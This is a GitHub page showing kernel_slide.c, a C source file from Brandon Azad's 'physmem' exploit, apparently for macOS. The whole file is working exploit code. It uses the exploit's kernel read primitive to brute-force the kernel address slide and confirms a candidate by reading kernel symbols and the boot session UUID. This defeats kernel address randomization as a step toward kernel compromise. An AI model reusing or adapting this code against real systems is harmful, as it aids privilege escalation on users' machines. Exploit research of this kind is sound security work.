-
Notifications
You must be signed in to change notification settings - Fork 13
/
kernel_slide.c
62 lines (57 loc) · 1.98 KB
/
kernel_slide.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
/*
* kernel_slide.c
* Brandon Azad
*
* Find the kernel slide using the physmem exploit.
*
* We use physmem's kernel read primitive to test each possible kernel slide until we find the
* right one. Technically, all of the reads before we find the right kernel slide are to arbitrary
* locations, and any of them could trigger a panic. However, in my (quite extensive) testing, I've
* never once had a panic triggered this way.
*/
#include "kernel_slide.h"
#include "fail.h"
#include "kernel_image.h"
#include "physmem.h"
#include <errno.h>
#include <string.h>
#include <sys/sysctl.h>
uint64_t kernel_slide;
/*
* kern_bootsessionuuid
*
* Description:
* The name of the sysctl node we use to check that the kernel slide is correct.
*/
static const char *kern_bootsessionuuid = "kern.bootsessionuuid";
void probe_kernel_slide() {
const uint64_t increment = 0x200000;
const uint64_t max_slide = (increment / 2) * 0x400;
// Find the address of vm_kernel_slide and bootsessionuuid_string in the base kernel.
uint64_t _vm_kernel_slide = kernel_symbol("_vm_kernel_slide");
uint64_t _bootsessionuuid_string = kernel_symbol("_bootsessionuuid_string");
// Read the memory we will use to check kernel slide correctness.
char uuid[37];
size_t size = sizeof(uuid);
int err = sysctlbyname(kern_bootsessionuuid, uuid, &size, NULL, 0);
if (err != 0) {
FAIL("sysctlbyname(%s) failed: %s", kern_bootsessionuuid, strerror(errno));
}
// Try all the different kernel slides.
for (kernel_slide = increment; kernel_slide < max_slide; kernel_slide += increment) {
uint64_t value = kern_read(_vm_kernel_slide + kernel_slide, sizeof(value));
if (value != kernel_slide) {
continue;
}
const unsigned n = sizeof(uuid) / sizeof(uint64_t);
uint64_t base = _bootsessionuuid_string + kernel_slide;
for (unsigned i = 0; i < n; i++) {
value = kern_read(base + i * sizeof(uint64_t), sizeof(value));
if (value != ((uint64_t *)uuid)[i]) {
continue;
}
}
return;
}
FAIL("could not find kernel slide");
}